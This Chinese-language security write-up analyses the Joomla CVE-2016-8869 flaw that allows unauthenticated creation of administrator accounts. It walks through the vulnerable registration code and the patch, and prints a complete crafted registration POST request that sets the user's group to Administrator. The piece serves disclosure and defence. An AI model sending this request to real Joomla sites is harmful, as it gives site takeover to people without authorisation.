前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Joomla未授权创建特权用户漏洞(CVE-2016-8869)分析

Joomla未授权创建特权用户漏洞(CVE-2016-8869)分析

作者头像
Seebug漏洞平台
发布2018-03-29 16:44:12
1.6K0
发布2018-03-29 16:44:12
举报
文章被收录于专栏:Seebug漏洞平台Seebug漏洞平台

Author: p0wd3r (知道创宇404安全实验室)

Date: 2016-10-26

0x00 漏洞概述

1.漏洞简介

Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869CVE-2016-8870。我们在这里仅分析CVE-2016-8869,利用该漏洞,攻击者可以在网站关闭注册的情况下注册特权用户。Joomla官方已对此漏洞发布升级公告

2.漏洞影响

网站关闭注册的情况下仍可创建特权用户

3.影响版本

3.4.4 to 3.6.3

0x01 漏洞复现

1. 环境搭建

代码语言:javascript
复制
wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz  

解压后放到服务器目录下,例如/var/www/html

创建个数据库:

代码语言:javascript
复制
docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql  

访问服务器路径进行安装即可。

2.漏洞分析

注册

注册部分可参考:《Joomla未授权创建用户漏洞(CVE-2016-8870)分析》

提权

下面我们来试着创建一个特权用户。

在用于注册的register函数中,我们先看一下$model->register($data)这个存储注册信息的方法,在components/com_users/models/registration.php中:

代码语言:javascript
复制
public function register($temp)  
    {
        $params = JComponentHelper::getParams('com_users');

        // Initialise the table with JUser.        
        $user = new JUser;
        $data = (array) $this->getData();

        // Merge in the registration data.        
        foreach ($temp as $k => $v)
        {
            $data[$k] = $v;
        }
        ...
    }

可以看到这里使用我们可控的$temp$data赋值,进而存储注册信息。正常情况下,$data在赋值之前是这样的:

而正常情况下我们可控的$temp中是没有groups这个数组的,所以正常注册用户的权限就是我们配置中设置的权限,对应的就是groups的值。

那么提升权限的关键就在于更改groups中的值,因为$data由我们可控的$temp赋值,$temp的值来自于请求包,所以我们可以构造如下请求包:

代码语言:javascript
复制
POST /index.php/component/users/?task=registration.register HTTP/1.1  
...
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryefGhagtDbsLTW5qI  
...
Cookie: yourcookie

------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[name]"

attacker2  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[username]"

attacker2  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password1]"

attacker2  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password2]"

attacker2  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email1]"

attacker2@my.local  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email2]"

attacker2@my.local  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[groups][]"

7  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"

com_users  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"

user.register  
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"

1  
------WebKitFormBoundaryefGhagtDbsLTW5qI--

这里我们添加一组值:name="user[groups][]" value=7,让user被当作二维数组,从而groups被识别为数组,并设置数组第一个值为7,对应着Administrator的权限。

然后发包,通过调试可以看到$temp中已经有了groups数组:

最后创建了一个权限为Administrator的用户attacker2:

通过存在漏洞的注册函数我们可以提权,那么在允许注册的情况下我们可不可以通过正常的注册函数来提权呢?

通过对比这两个函数,可以发现这样一点:

UsersControllerRegistration::register()

代码语言:javascript
复制
public function register()  
    {
        ...

        $data = $model->validate($form, $requestData);
        ...

        // Attempt to save the data.        
        $return = $model->register($data);
        ...
    }

UsersControllerUser::register()

代码语言:javascript
复制
public function register()  
    {
        ...

        $return = $model->validate($form, $data);
        ...

        // Attempt to save the data.        
        $return = $model->register($data);
        ...
    }

可以看到UsersControllerRegistration::register()中存储了对$requestData验证后的$data,而UsersControllerUser::register()虽然同样进行了验证,但是存储的仍是之前的$data。所以重点是validate函数是否对groups进行了过滤,我们跟进一下,在libraries/legacy/model/form.php中:

代码语言:javascript
复制
public function validate($form, $data, $group = null)  
    {
        ...
        // Filter and validate the form data.        
        $data = $form->filter($data);
        ...
    }

再跟进filter函数,在libraries/joomla/form/form.php中:

代码语言:javascript
复制
public function filter($data, $group = null)  
    {
        ...

        // Get the fields for which to filter the data.        
        $fields = $this->findFieldsByGroup($group);

        if (!$fields)
        {
            // PANIC!            
            return false;
        }

        // Filter the fields.        
        foreach ($fields as $field)
        {
            $name = (string) $field['name'];

            // Get the field groups for the element.            
            $attrs = $field->xpath('ancestor::fields[@name]/@name');
            $groups = array_map('strval', $attrs ? $attrs : array());
            $group = implode('.', $groups);

            $key = $group ? $group . '.' . $name : $name;

            // Filter the value if it exists.            
            if ($input->exists($key))
            {
                $output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));
            }
        }

        return $output->toArray();
    }

可以看到这里仅允许$fields中的值出现在$data中,而$fields中是不存在groups的,所以groups在这里被过滤掉,也就没有办法进行权限提升了。

3.补丁分析

官方删除了UsersControllerUser::register()方法。

0x02 修复方案

升级到3.6.4

0x03 参考

https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html

http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html

https://www.youtube.com/watch?v=Q_2M2oJp5l4

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2016-10-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 漏洞概述
    • 1.漏洞简介
      • 2.漏洞影响
        • 3.影响版本
        • 0x01 漏洞复现
          • 1. 环境搭建
            • 2.漏洞分析
              • 3.补丁分析
              • 0x02 修复方案
              • 0x03 参考
              相关产品与服务
              容器服务
              腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档